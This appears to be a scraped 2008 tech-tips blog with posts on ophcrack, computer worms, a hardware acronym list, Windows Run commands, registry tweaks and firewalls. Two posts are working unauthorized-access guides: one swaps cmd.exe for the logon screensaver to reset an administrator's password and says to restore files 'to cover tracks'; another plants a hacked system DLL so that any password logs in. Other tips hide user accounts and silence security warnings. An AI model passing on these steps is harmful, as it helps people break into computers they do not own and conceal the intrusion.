A shell script launched at the beginning of the X session(Session for managing your desktop) does the job of finding the Windows partition and starting appropriate programs to extract and crack password hashes. It will look for all partitions that contains hashes. If more than one are found, you will have to choose between them.

If your partition is not detected, make sure your the partition containing the hashes you want to crack is mounted and the use ophcrack ‘Load from encrypted SAM’ function to recover your Windows hashes. Then click ‘Launch’ and the cracking process will start.

How does Computer Worms work ?

2008-07-10T05:46:00.000-07:00

People use e-mail more than any other application on the internet, but it can be a frustrating experience, with spam and especially e-mail worms filling our inboxes.

Worms can spread rapidly over computer networks, the traffic they create bringing those networks to a crawl. And worms can cause other damage, such as allowing unauthorized access to a computer network, or deleting or copying files.

So what exactly is a computer worm?

A computer worm is different from its other infamous sibling - the virus. A worm does not infect or manipulate files, it makes clones of itself. Therefore a worm is a standalone working program. It can use the system transmission capabilities to travel from machine to machine merrily riding around like a happy-go-lucky vagabond. A worm, after lodging itself on one machine can spawn several clones of itself. Each of these clones then marches forth to conquer the cyber world.

How do they spread?

Where do newly cloned computer worms march to? A worm can open your email address book and, in a jiffy, despatch one clone each to each of the addresses listed. Of course, the machine has to be connected to the net. If it is not, the worm silently bides it time till the connection takes place.

Chats and Instant messaging software like MIRC, MSN Messenger, Yahoo IM and ICQ can also act as unwitting carriers enabling the worm to spread like wildfire throughout the cyberworld (the “Jitux” worm is an example).

Every operating system has vulnerabilities which are thoroughly exploited by worms to propagate themselves. Windows systems are the usual target. A very prominent example of this is the Sasser worm which uses security holes in the Windows LSASS service.Other worms spread only by using Backdoor infected computers. E.g. the “Bormex” worm relies on the “Back Orifice” backdoor to spread.

There is a facility available within peer-to-peer networks known as the P2P folder which all users of the network share. A worm can simply copy itself into the shared folder and quietly wait for the other users to pick it up. If the folder does not exist, the worm simply creates it for the benefit of the users! How benevolent can worms be! In the hall of hoodlums, worm “Axam” gets top honours for such devious activity.

Some worms take on even more deceptive forms to snare users. Sending emails with malicious code embedded within the main text or as an attachment. Some worms act as SMTP proxies (Sircam, Nimda, Sasser & co) to spread quickly. Worms can attempt remote logins (especially on Microsoft SQL servers - the “Spida” worm does this quite elegantly!) to launch DDoS (distributed denial of service) attacks. Another favourite is injecting malicious code in running services on the server like “Slammer”".

When you receive a worm over e-mail, it will be in the form of an attachment, represented in most e-mail programs as a paper clip. The attachment could claim to be anything from a Microsoft Word document to a picture of tennis star Anna Kournikova (such a worm spread quickly in February 2001).

If you click on the attachment to open it, you’ll activate the worm, but in some versions of Microsoft Outlook, you don’t even have to click on the attachment to activate it if you have the program preview pane activated. Microsoft has released security patches that correct this problem, but not everyone keeps their computer up to date with the latest patches.

After it’s activated, the worm will go searching for a new list of e-mail addresses to send itself to. It will go through files on your computer, such as your e-mail program’s address book and web pages you’ve recently looked at, to find them.

Once it has its list it will send e-mails to all the addresses it found, including a copy of the worm as an attachment, and the cycle starts again. Some worms will use your e-mail program to spread themselves through e-mail, but many worms include a mail server within their code, so your e-mail program doesn’t even have to be open for the worm to spread.

What do they do?

The nature of havoc that these worms bring to bear upon us? Well, Denial of service (DoS) is one situation that users of a server may find themselves in thanks to these programs.

Unlike viruses, many worms do not intend to destroy the infected computer. More often than not they have a more important job to do - subvert the computer so that the worm’s creator can use it often without the owner of the computer knowing anything about it.

Worm writers nowadays work together with Spammers to send out unsolicited emails to increasingly overloaded inboxes. Their worms install backdoor trojans to convert the home computer into a “zombie”. the countless variants of the “Bagle” worm are the best known examples.”Phishing” is the latest fad in town. It tries to prise those secret passwords of bank accounts and credit cards from you… all courtesy of a piggy back ride on the worm’s powerful shoulders.

Most of the damage that worms do is the result of the traffic they create when they’re spreading. They clog e-mail servers and can bring other internet applications to a crawl.

But worms will also do other damage to computer systems if they aren’t cleaned up right away. The damage they do, known as the payload, varies from one worm to the next.

The MyDoom worm was typical of recent worms. It opened a back door into the infected computer network that could allow unauthorized access to the system. It was also programmed to launch an attack against a specific website by sending thousands of requests to the site in an attempt to overwhelm it.

How do I get rid of them?

The best way to avoid the effects of worms is to be careful when reading e-mail. If you use Microsoft Outlook, get the most recent security updates from the Microsoft website and turn off the preview pane, just to be safe.

Never open attachments you aren’t expecting to receive, even if they appear to be coming from a friend. Be especially cautious with attachments that end with .bat, .cmd, .exe, .pif, .scr, .vbs or .zip, or that have double endings. (The file attachment that spread the Anna Kournikova worm was AnnaKournikova.jpg.vbs.)

Also, install anti-virus software and keep it up to date with downloads from the software maker’s website. The updates are usually automatic.

Users also need to be wary of e-mails claiming to have cures for e-mail worms and viruses. Many of them are hoaxes that instruct you to delete important system files, and some carry worms and viruses themselves.

As well, some users should consider using a computer with an operating system other than Windows, the target of most e-mail worms. Most of the worms don’t affect computers that run Macintosh or Linux operating systems.

WINDOWS TIPS COLLECTION (How to hack windows XP admin password)

2008-07-10T05:41:00.000-07:00

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Important full forms

2008-07-10T05:40:00.000-07:00

3Dnow!: Multi-Media Extensions (AMD)

AC: Alternating Current

ACPI: Advanced Configuration and Power Interface

ALU: Arithmetic-Logic Unit

AM: Amplitude Modulated

AMD: Advanced Micro Devices, Inc.

AMI: American Megatrends Inc.

ANSI: American National Standards Institute

APIC: Advanced Programmable Interrupt Controller

APM: Advanced Power Management

ASCII: American Standard Code for Information Interchange

ASIC: Application Specific Integrated Circuit

ASPI: Advanced SCSI Programming Interface

AT: Advanced Technology

ATA: AT Bus Attachment

ATAPI: ATA Packet Interface

ATM: Asynchronous Transfer Mode

BBS: Bulletin Board System

BCC: Block Check Character

BCD: Binary Coded Decimal

BIOS: Basic Input / Output System

BNC: Bayonet Nut Connector

BPS/bps: Bytes/bits Per Second

BSC: Binary Synchronous Communications

BSD: Berkeley Standard Distribution

BTU: British Thermal Units

CAD: Computer Aided Design

CAM: Computer Aided Manufacturing

CAS: Column Address Strobe

CD: Carrier Detect

CDROM: Compact Disk Read Only Memory

CGA: Color Graphics Adapter

CHS: Cylinder Head Sector

CMOS: Complementary Metal-Oxide Semiconductor

CPI: Clocks Per Instruction

CPU: Central Processing Unit

CR: Carriage Return

CRC: Cyclical Redundancy Check

CRT: Cathode Ray Tube

CSR: Command Status Register

CTS: Clear To Send

DAT: Digital Audio Tape

DC: Direct Current

DCD: Data Carrier Detect

DCE: Data Circuit-terminating Equipment

DD: Double Density

DEC: Digital Equipment Corporation

DIP: Dual-In-line Package

DMA: Direct Memory Access

DMI: Desktop Management Interface

DOS: Disk Operating System

DPE: Data Parity Error

DRAM: Dynamic Random Access Memory

DS: Double Sided

DSP: Digital Signal Processor

DSR: Data Set Ready

DTC: Data Terminal Controller

DTE: Data Terminating Equipment

DTR: Data Terminal Ready

EBCDIC: Extended Binary Coded Decimal Interchange Code

EC: Error Check

ECC: Error Check and Correction

ECP: Enhanced Communication Port

ECU: EISA Configuration Utility

EDO: Extended Data Out RAM

EEPROM: Electrically Erasable Programmable Read Only Memory

EGA: Enhanced Graphics Adapter

EIA: Electronic Industries Association

EIDE: Enhanced Integrated Device Electronics

EISA: Enhanced Industry Standard Architecture

EMI: Electro-Magnetic Interference

EMF: Electro-Magnetic Force

EMS: Expanded Memory Specification

EOF: End Of File

EOL: End Of Line

EPP: Enhanced Parallel Port

EPROM: Erasable Programmable Read Only Memory

ESCD: Extended System Configuration Data

ESD: Electro-Static Discharge

ESDI: Enhanced Small Devices Interface

FAT: File Allocation Table

FCC: Federal Communications Commission

FDD: Fixed/Floppy Disk Drive

FDDI: Fiber Distributed Data Interface

FDM: Frequency Division Multiplexing

FDX: Full-Duplex Transmission

FE: Front End

FEP: Front End Processor

FF: Form Feed

FIFO: First-In First-Out

FILO: First-In Last-Out

FM: Frequency Modulation

FPGA: Field Programmable Gate Array

FPM: Fast Page Mode RAM

FPU: Floating Point Unit

FRC: Functional Redundancy Checking

FRU: Field-Replaceable Unit

FSF: Free Software Foundation

FSK: Frequency Shifty Keying

FTP: File Transfer Program

GAS: Gallium Arsenide

GFLOPS: Billions of FLOating Point Operations Per Second

GUI: Graphical User Interface

HD: High Density / Hard Disk

HDD: Hard Disk Drive

HDX: Half-Duplex Transmission

HFS: Hierarchical File System

HPFS: High Performance File System

I/O: Input/Output

IBM: International Business Machines Corporation

IC: Integrated Circuit

IDE: Integrated Device Electronics

IEEE: Institute of Electrical and Electronic Engineers

IMP: Interface Message Processor

IPC: Inter Process Communication

IPX: Inter network Packet eXchange

IRQ: Interrupt ReQuest

ISA: Industry Standard Architecture

ISDN: Integrated Services Digital Network

ISO: International Standards Organization

JFS: Journalized File System

KNI: Katmai New Instructions

kVA: KiloVolt-Amps

LAN: Local Area Network

LBA: Linear Block Array / Addressing

LCD: Liquid Crystal Display

LED: Light Emitting Diode

LF: Line Feed

LIM: Lotus/Intel/Microsoft’s Expanded Memory Manager

LRU: Least-Recently Used

LSB/lsb: Least Significant Byte/bit

LSI: Large Scale Integration

LUN: Logical Unit Number

MAN: Metropolitan Area Network

MB/Mb: Mega Bytes/bits

MBR: Master Boot Record

MCA: Micro Channel Architecture

MCGA: Multi-Color Graphics Array

MCM: Multi-Chip Module

MDRAM: Multi-bank RAM

MFLOPS: Millions of FLOating Point Operations per Second

MFM: Modified Frequency Modulated

MHz: MegaHertz

MICR: Magnetic Ink Character Recognition

MIDI: Musical Instrument Data Interface

MIMD: Multiple-Instruction Multiple-Data

MIPS: Millions of Instructions per Second

MISD: Multiple-Instruction Single Data
MMX: Multi-Media Extensions

MNP: Microcom Network Protocol

MODEM: MOdulator / DEModulator

MOPS: Millions of Operations Per Second

MOS: Metal-Oxide Semiconductor

MP: Multi-Processor

MPP: Massively Parallel Processor

MPS: Multi-Processor System

MSB/msb: Most Significant Byte/bit

MSDOS: Microsoft’s Disk Operating System

MSI: Medium Scale Integration

MTBF: Mean Time Between Failure

N/C: No-Connect

NBS: National Bureau of Standards

NEMA: National Electrical Manufacturers Association

NFS: Network File System

NFU: Not-Frequently Used

NMI: Non-Maskable Interrupt

NMOS: Negatively doped Metal-Oxide Semiconductor

NOP: No OPeration NRU Not-Recently Used

NSF: National Science Foundation

NVRAM: NonVolatile Random Access Memory

OCR: Optical Character Recognition

ODI: Open Data link Interface

OEM: Original Equipment Manufacturer

OS: Operating System

OSF: Open Software Foundation

OSI: Open Systems Interconnect

PAL/PLA: Programmable Array Logic / Logic Array

PB: Push Button

PBX: Private Branch eXtender

PC: Personal Computer, Program Counter

PCB: Printed Circuit Board

PCI: Peripheral Component Interconnect

PCM: Pulse Code Modulation

PCMCIA: Personal Computer Memory Card International Association

PE: Processor Element

PFF: Page Fault Frequency

PGA: Professional Graphics Array

PGA: Pin Grid Array

PIC: Programmable Interrupt Controller

PIO: Programmed Input / Output

PIROM: Processor Information ROM

PLCC: Plastic Leaded Chip Carrier

PLL: Phase Locked Loop

PM: Preventive Maintenance

PMOS: Positively doped Metal-Oxide Semiconductor

PnP: Plug-and-Play

POST: Power On Self Test

PPP: Point-to-Point Protocol

PQFP: Plastic Quad Flat Pack

PROM: Programmable Read Only Memory

PSTN: Public Switched Telephone Network

PTE: Page Table Entry

QAM: Quadrature Amplitude Modulation

QFP: Quad Flat Pack

QIC: Quarter Inch Cartridge

RAID: Redundant Arrays of Inexpensive Disks

RAM: Random Access Memory

RAMDAC: Random Access Memory Digital to Analogue Converter

RAS: Row Address Strobe

RCA: Radio Corporation of America

RCC: Routing Control Center

RDRAM: Rambus DRAM

RFC: Request For Comments

RFI: Radio Frequency Interference

RI: Ring Indicator

RISC: Reduced Instruction-Set Computer

RLL: Run Length Limited

RMS: Root Mean Squared

RMW: Read Modify Write

ROM: Read Only Memory

RPC: Remote Procedure Call

RPM: Rotations Per Minute

RTC: Real Time Clock

RTS: Request To Send

SAM: Sequential Access Memory

SASI: Shugart Associates Standard Interface

SCSI: Small Computer Systems Interface

SD: Single Density

SDLC: Synchronous Data Link Control

SDRAM: Synchronous Dynamic RAM

SDRAM DDR: Double Data Rate SDRAM

SDRAM BDDR: Bi-Directional Strobed DDR SDRAM

SE: Systems Engineer

SEC: Single Edge Contact

SFF: Small Form Factor

SGRAM: Synchronous Graphics RAM

SIMD: Single-Instruction Multiple-Data

SIMM: Single Inline Memory Module

SIPP: Single Inline Pinned Package

SISD: Single-Instruction Single-Dat

SLIP: Serial Line Internet Protocol

SMD: Surface Mount Device

SMT: Surface Mount Technology

SNA: System Network Architecture

SNR: Signal to Noise Ratio

SO/SOL: Small Out Line

SOIC: Small Outline Integrated Circuit

SPOOL: Simultaneous Peripheral Operation On Line

SPT: Sectors Per Track

SPU: Single Processor Unit

SRAM: Static Random Access Memory

SS: Single Sided

STDM: Synchronous Time Division Multiplexing

STN: Super Twisted Nematic

STU: Streaming Tape Unit

SVGA: Super Video Graphics Array

TCM: Trellis Code Modulation

TCP/IP: Transmission Control Protocol / Internet Protocol

TDM: Time Division Multiplexing

TI: Texas Instruments

TIA: Telecomm Industry Association

TLB: Translation-Look aside Buffer

TPI: Tracks Per Inch

TRANSISTOR: TRANSformer resISTOR

TSR: Terminate and Stay Resident

TTL: Transistor-Transistor Logic

UAE: Unrecoverable Application Error

UART: Universal Asynchronous Receiver/Transmitter

UDP: User Datagram Protocol

UMB: Upper Memory Block

UNIX: A trademark used for a computer disk operating system

UPS: Un-interruptible Power Supply

USL: UNIX System Labs

UUCP: UNIX to UNIX Copy Program

VBE: Video BIOS Extensions

VCR: Video Cassette Recorder

VESA: Video Enhanced Standards Association

VGA: Video Graphics Array

VLB: VESA Local Bus

VLIW: Very Long Instruction Word

VLSI: Very Large Scale Integration

VM: Virtual Memory

VME: Versa Module Euro-card

VRAM: Video Random Access Memory

VRT: Voltage Reduction Technology

VTR: Video Tape Recorder

WAN: Wide Area Network

WATS: Wide Area Telephone Service

WD: Western Digital

WORM: Write Once - Read-Many

WRAM: Window Random Access Memory

WS: Wait State

XGA: eXtended Graphics Array

XMS: Extended Memory Specification

MMU: Memory Management Unit

XOR: Exclusive-OR

XT: eXtended Technology
ZIF: Zero Insertion Force

Useful DOS commands

2008-07-10T05:39:00.000-07:00

Do you use the Run feature in Windows XP?
For most, this feature remains unused (or rarely used). Why is that? Well, First off nearly all of the Run Commands Correspond to a particular Control Panel Item or a Utility, Tool or Task that can be accessed through Windows. There are, however, tools and utilities that I bet you never knew you had that can be accessed through the Run feature. The main reason most people don't use the Run feature is because they don't know the Commands. So, to solve that problem, I decided to put together the following listing, which lists A to Z Run Commands and what they correspond too...

Accessibility Controls - access.cpl
Add Hardware Wizard - hdwwiz.cpl
Add/Remove Programs - appwiz.cpl
Adobe Photoshop (if installed) - photoshop
Administrative Tools - control admintools
Automatic Updates - wuaucpl.cpl
Bluetooth Transfer Wizard - fsquirt
Calculator – calc
Certificate Manager - certmgr.msc
Character Map - charmap
Check Disk Utility - chkdsk
Clipboard Viewer - clipbrd
Command Prompt - cmd
Component Services - dcomcnfg
Computer Management - compmgmt.msc
Date and Time Properties - timedate.cpl
DDE Shares - ddeshare
Device Manager - devmgmt.msc
Direct X Control Panel (If Installed)* - directx.cpl
Direct X Troubleshooter - dxdiag
Disk Cleanup Utility - cleanmgr
Disk Defragment - dfrg.msc
Disk Management - diskmgmt.msc
Disk Partition Manager - diskpart
Display Properties - control desktop
Display Properties - desk.cpl
Display Properties (w/Appearance Tab Preselected) - control color
Dr. Watson System Troubleshooting Utility - drwtsn32
Driver Verifier Utility - verifier
Event Viewer - eventvwr.msc
File Signature Verification Tool - sigverif
Findfast - findfast.cpl
Folders Properties - control folders
Fonts - control fonts
Fonts Folder - fonts
Free Cell Card Game - freecell
Game Controllers - joy.cpl
Group Policy Editor (XP Prof) - gpedit.msc
Hearts Card Game - mshearts
Iexpress Wizard - iexpress
Indexing Service - ciadv.msc
Internet Explorer – iexplore
Internet Properties - inetcpl.cpl
IP Configuration (Display Connection Configuration) - ipconfig /all
IP Configuration (Display DNS Cache Contents) - ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) - ipconfig /flushdns
IP Configuration (Release All Connections) - ipconfig /release
IP Configuration (Renew All Connections) - ipconfig /renew
IP Configuration (Refreshes DHCP & Re - Registers DNS) -ipconfig /registerdns
IP Configuration (Display DHCP Class ID) - ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) - ipconfig /setclassid
Java Control Panel (If Installed) - jpicpl32.cpl
Java Control Panel (If Installed) - javaws
Keyboard Properties - control keyboard
Local Security Settings - secpol.msc
Local Users and Groups - lusrmgr.msc
Logs You Out Of Windows - logoff( or press ‘window key+L’ )
Microsoft Chat - winchat
Microsoft Excel – excel
Microsoft Powerpoint - powerpnt
Microsoft Word - winword
Mouse Properties – main.cpl
Minesweeper Game - winmine
Mouse Properties - control mouse
Mouse Properties - main.cpl
Nero (if installed) - nero
Network Connections - control netconnections
Network Connections - ncpa.cpl
Network Setup Wizard - netsetup.cpl
Notepad - notepad
Nview Desktop Manager (If Installed) - nvtuicpl.cpl
Object Packager - packager
ODBC Data Source Administrator - odbccp32.cpl
On Screen Keyboard - osk
Opens AC3 Filter (If Installed) - ac3filter.cpl
Password Properties - password.cpl
Performance Monitor - perfmon.msc
Performance Monitor - perfmon
Phone and Modem Options - telephon.cpl
Power Configuration - powercfg.cpl
Printers and Faxes - control printers
Printers Folder - printers
Private Character Editor - eudcedit
Quicktime (If Installed) - QuickTime.cpl All the best.
For more action join Top Tech Site
Regional Settings - intl.cpl
Registry Editor - regedit
Registry Editor - regedit32
Remote Desktop - mstsc
Removable Storage - ntmsmgr.msc
Removable Storage Operator Requests - ntmsoprq.msc
Resultant Set of Policy (XP Prof) - rsop.msc
Scanners and Cameras - sticpl.cpl
Scheduled Tasks - control schedtasks
Security Center - wscui.cpl
Services - services.msc
Shared Folders - fsmgmt.msc
Shuts Down Windows - shutdown
Sounds and Audio - mmsys.cpl
Spider Solitare Card Game - spider
SQL Client Configuration - cliconfg
System Configuration Editor - sysedit
System Configuration Utility - msconfig
System File Checker Utility (Scan Immediately) - sfc /scannow
System File Checker Utility (Scan Once At Next Boot) - sfc /scanonce
System File Checker Utility (Scan On Every Boot) - sfc /scanboot
System File Checker Utility (Return to Default Setting) - sfc /revert
System File Checker Utility (Purge File Cache) - sfc /purgecache
System File Checker Utility (Set Cache Size to size x) -sfc /cachesize=x
System Information - msinfo32
System Properties - sysdm.cpl
System Troubleshooter – dxdiag
Task Manager - taskmgr( or press ‘ctrl+shift+esc’ or ‘ctrl+alt+delete’ )
Telnet Client - telnet
User Account Management - nusrmgr.cpl
Utility Manager - utilman
Windows Backup Utility (if installed) – ntbackup
Windows Explorer – explorer ( or press ‘window key+E’ )
Windows Media Player – wmplayer
Windows Firewall - firewall.cpl
Windows Magnifier - magnify
Windows Management Infrastructure - wmimgmt.msc
Windows System Security Tool - syskey
Windows Update Launches - wupdmgr
Windows Version Check - winver
Windows XP Tour Wizard - tourstart
Wordpad – write

2008-07-10T04:22:00.000-07:00

How to hide user account from the windows XP welcome screen?

2008-07-08T04:25:00.000-07:00

Today tip is very useful particularly for expert users who want to create hidden or backup user accounts in windows XP. This trick permits an account that is normally displayed on the Welcome screen to be hidden from view. To hide the specific user account from the welcome screen, you need to create a special value under windows registry key.

Follow the given steps to hide any specific user account on welcome screen:

To use this feature, you will need to be logged into your computer with administrative rights.

Click Start button and type regedit in Run option then press Enter for next.
Here locate the location to:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\

Winlogon\SpecialAccounts\UserList

Here in right side panel, right click to create a new DWORD Value with the name of account to be hidden - the name matches the users name exactly.
To modify the "Value data" information as DWORD Value 0 to hide the account and 1 to display the user then click on Ok button.

Now close the registry editor and restart your computer after any changes to go into effect.

But next time, if you want to enable specific user account on welcome then simply change the value of data box to 1 or delete the DWORD Value item.

Disable drives in My Computer from unknown user.

2008-07-08T04:24:00.000-07:00

If you want to prevent any users to access your computer or network shared drives using My Computer then you can hide the all drives for example C:/, D:/ and save your data from any unknown user. But next time you can turn on the display of these drives using registry editor. Now edit the computer registry to turn off the display of drives, but be careful to work with computer registry.

Follow the given steps to hide computer drives:

First click on Start button then type Regedit in Run option.

Here locate the location to:

HKey_Current_User \ Software \ Microsoft \ Windows

\ Current Version \ Policies \ Explorer

Here right click on right side of Registry editor panel and add new DWORD then put its value 3FFFFFF.

Now close the registry editor and restart your computer after any changes to go into effect.

Reduce the shutdown time of Windows 2000 and XP.

2008-07-08T04:21:00.000-07:00

You can reduce the shutdown time of windows 2000 and XP using some tricks. Actually windows XP take time to close all running programs and applications before shutdown, but you can minimize this time if you have little knowledge about editing windows registry.

Follow the given steps to reduce the shutdown time:

First click on Start button then type Regedit in Run option. Here locate the location to:

Go to Hkey_Current_User\Control Panel\Desktop

Here in right side panel, double click on AutoEndTasks and here its default value is 0. Now change it to 1.

Now in same side panel double click on value name WaitToKillAppTimeout. Its default value data is 20000; now change this value of WaitToKillAppTimeout to 3500.

Now close the registry editor and restart your computer after any changes to go into effect.

Edit windows registry keys to change the Registered Owner.

2008-07-08T04:20:00.001-07:00

Some time you entered the wrong or invalid registered owner information when you installed the windows. But don't worry you can change the registered owner information any time, if you have little knowledge about editing windows registry.

Follow the given steps to change the owner name:

First click on Start button then type Regedit in Run option.

Here locate the location to:

Go to HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion

Here in right side panel, double click on RegisteredOwner and here change its value data as you wish.

Now close the registry editor and restart your computer after any changes to go into effect.

Disable the Security Center warnings

2008-07-08T04:19:00.001-07:00

Security is a system of safeguards designed to protect a computer system and important data from damage or access by unauthorized persons. Different antivirus and firewall programs are used to manage the security of the computer. Some time this is build-in antivirus or firewall program in windows XP to maintain the computer security. But if your windows is not provided with any antivirus, firewall program and Automatic Updates, your windows security center will alerts you a message "Your computer may be at risk. Your virus protection status is unknown" with useless repeating reminder. You can disable this message permanently by changing the values of “AntiVirusDisableNotify” in windows registry.
Follow the given steps to edit the computer registry for disable message:

First click on Start button then type Regedit in Run option.
Here locate the location to:
· HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
Here in right side panel, double click on AntiVirusDisableNotify and set its value 1.
Now close the registry editor and restart your computer after any changes to go into effect.

How to Hack Into a Windows XP Computer Without Changing Password

2008-07-08T04:01:00.000-07:00

password is by making Windows accepting any passwords.
There is a far better way to get into Windows XP. It is easy and it does not reset the password. Hack into a computer running Windows XP without changing the password and find out all and any passwords on the machine (including admin accounts). You do not need access to any accounts to do this. Of course, do not do this on anyone elses computer without proper authorisation.

Steps to Hack into a Windows XP Computer without changing password:

1. Get physical access to the machine. Remember that it must have a CD or DVD drive.
2. Download DreamPackPL HERE.
3. Unzip the downloaded dpl.zip and you’ll get dpl.ISO.
4. Use any burning program that can burn ISO images.
5. After you have the disk, boot from the CD or DVD drive. You will see Windows 2000 Setup and it will load some files.
6. Press “R” to install DreamPackPL.
7. Press “C” to install DreamPackPL by using the recovery console.
8. Select the Windows installation that is currently on the computer (Normally is “1″ if you only have one Windows installed)
9. Backup your original sfcfiles.dll by typing:
“ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld” (without quotes)
10. Copy the hacked file from CD to system32 folder. Type:
“copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll” (without quotes and assuming your CD drive is D:)
11. Type “exit”, take out disk and reboot.
12. In the password field, type “dreamon” (without quotes) and DreamPack menu will appear.
13. Click the top graphic on the DreamPack menu and you will get a menu popup.
14. Go to commands and enable the options and enable the god command.

15. Type “god” in the password field to get in Windows.

You can also go to Passwords and select “Logon with wrong password and hash”. This option allows you to login with ANY password.

Note: I was unable to bring up the DreamPackPL for the first time because I have Kaspersky Anti-Virus already running in background. I believe most antivirus already labelled this tool as a Hack-Tool. A Hack-Tool is NOT a virus. DreamPackPL helps you bypass the Windows Login screen and it is not destructive.

hot tips of computer link.

2008-06-21T03:22:00.000-07:00

http://www.computerfreetips.com/

Internet Error Codes and Meaning

2008-06-21T03:21:00.001-07:00

Sometime you are browsing the internet and trying to open any website, your e-mail and any FTP sites , but you see different error codes there. You should be familiar with these error codes. You can solve these problems if you are well-known with the meaning of error codes.

Error Codes Meaning

400 This is bad request error, First check you may be typing wrong URL name and server could not understand your request.

401 You are trying to open any unauthorized access site or page. Check your username and password if you are trying to open any webpage.

402 Payment Required Error

403 You are trying to open any forbidden page and you are blocked by that domain.

404 Here you are trying to open the webpage that was removed or re-named, also check the URL spelling.

408 This is time out error. you should send the request with in time that the server set for you.

What is the difference between a Virus, Trojan, and Worm?

2008-06-21T03:18:00.001-07:00

Basically, they all fall under the generally category of "viruses". However, there are a few distinctions.

Virus - Technically, a virus infects another file (attaches or inserts itself into it). They usually infect program files or MS Office documents. From there, it can replicate, do damage, etc. Unlike a worm, these do not function as a stand alone (except possibly to infect a given file).

Worm - This is almost identical to a "true virus", except that it lives on its own and generally doesn't infect other files (although it can replace them). Usually, these copy themselves using e-mail, networks, disks, etc. Again, these are very close to a true virus, and can do the same kind of damage.

Trojan Horse - This type of program doesn't copy itself but does do damage to your computer. These types of programs rely on people to pass them around and to run them. They do not e-mail themselves. The idea is to make the program look like it's something harmless, like a screen saver or joke, so it gets sent around.

How Firewalls Work

2008-06-21T03:17:00.000-07:00

There are mean people out there that want very badly to get into your system or network. Maybe they want to steal information, to simply cause as much destruction as possible, or to use your system for their own uses. If you're online a lot or have a broadband connection, the attempts to enter your system may be relentless.

I feel that there are three main areas of defense against these threats: Anti-virus (of course), Firewall, and Spyware removal. With some programs being more important than others, but none being without importance. What I would like to do is give all of our readers at least a good concept of what these Firewalls and Anti-virus programs do to protect your system. I'm going to attempt to highlight the functions of these utilities and even some good practices that you can implement.

This week I'll be discussing the first line of defense between you and the Internet firewall. A firewall isn't going to stop you from getting a lot of viruses out there, unless it's the kind of viruses that proactively scans systems for open ports like the 32.Sasser that has recently stepped onto the virus scene. Where firewalls really come into play is in the area of Internet or Network access.

There are two basic types of firewalls: hardware and software.

A common hardware firewall is a routers. In a small network it sits in-between your PC and modem. These firewalls feature the ability to hide your PC from others on the Internet by assigning you private IP addresses through a process called NAT (Network Address Translation) or DHCP (Dynamic Host Configuration Protocol).

I may have lost some people there who are not familiar with IP addressing. This can get confusing rather quickly. To put it simpler: a router will take the Internet address that your ISP has doled out to you and give the PCs the are connected to the router a generic private IP address (not valid for the internet). The other primary job is to close ports (these are numbers that are associated with certain jobs, for example most email clients and servers use SMTP port 25 and POP3 port#110) ports can be a vulnerability as seen in the past and a hacker can have an easy time getting into your PC with ports wide open to the world. When hackers try to scan your network for known vulnerable ports the Firewall simply drops the packets because they contain data that no PC on the network requested.

Software firewalls are a little bit different and they have good points and bad points. First let me start by saying that it is always better to have a firewall then not to. The main difference between the two styles of firewalls is that one is an external device that runs on it's own hardware. The software firewall is an application that runs on your PC. This is the one down side I believe because it's one more application running on your PC while you're trying to surf the web and can cause resource overhead and slow things down in older PCs. In concept the firewalls really are the same, except that one of the biggest differences is a software firewall doesn't have any address translation services (i.e. NAT or DCHP).

Software firewalls do have some really great features however. For instance, a software firewall is great for someone who is new to this area of PCs and wants to learn more. I say this because most of these firewalls have a reasonably easy to understand interface different from the more "Techie" looking router interfaces.

Software firewalls also have a feature for Internet access that I think is very informative, for example in most of the software firewalls I have come across when a program tries to access the internet the firewall will pop up and ask you if you want this action to be allowed every time, prompt every time, or deny Internet access to the program. Most software firewalls will also notify you when someone from outside is hitting your firewall and a lot of times you get the IP address of the party on the other end of the actions. Both of these features can be used to further protect your PC, in some cases you might even be able catch a hacker trying to get into your PC by getting their IP address and then asking there ISP what this IP address is doing pinging your IP address.

I've actually helped one of customers do this they called me up and said that there firewall kept making noises and popping up with windows saying that there was some activity on here firewall. She said that this had been going on for a couple of days. Well we opened up the interface and looked at the log describing what the activity was and from whom it originated. There were a bunch of pings hitting her firewall, but the software gave us the IP address, and from there we opened up a command line and pinged the IP address back and it came up with their ISP's domain name. She called that ISP and talked to them about this address and what has been going on. I wouldn't be surprised if he was kicked from his Internet service.

Windows Hot shortcut keys

2008-06-21T03:15:00.001-07:00

Win Press windows key to open start menu

Win+R Apply to open Run dialog box

Win+M Apply to minimize all opened windows

Win+Shift+M Apply to maximize all opened windows

Win+L Press keys to lock keyboard in windows XP

Win+E Press keys to open My Computer

Win+F Apply to open search options

Win+U Apply keys to open Utility Manager

Win+D To view desktop/minimize all windows

Win+F1 To view the detail windows help page

Win+Pause To view the System Properties dialog box

Win+Tab Move through taskbar programs

Win+F+Ctrl Apply to open search for computers

Alt+Tab Move through opened windows programs

Alt+F4 Press keys to close active windows program

Alt+Enter Apply to open properties of selected item

Alt+ SPACEBAR Open the system menu of active window

Alt+ SPACEBAR +N Press keys to minimize the active program

Alt+ SPACEBAR +R Press keys to restore the active program

Alt+ SPACEBAR+C Press keys to close the active program

Alt+ SPACEBAR+X Press keys to maximize the active program

Alt+ SPACEBAR+M Press keys to move the active program

Ctrl+Alt+Delete Apply to open windows task manager

Ctrl+Shift+Esc Apply to open windows task manager

Ctrl+Esc Press keys to open start menu

Shift Shift key to prevent CD from automatically playing

Shift+Delete To delete items permanently

Youtube Downloder Tool : )

2008-06-16T05:57:00.000-07:00

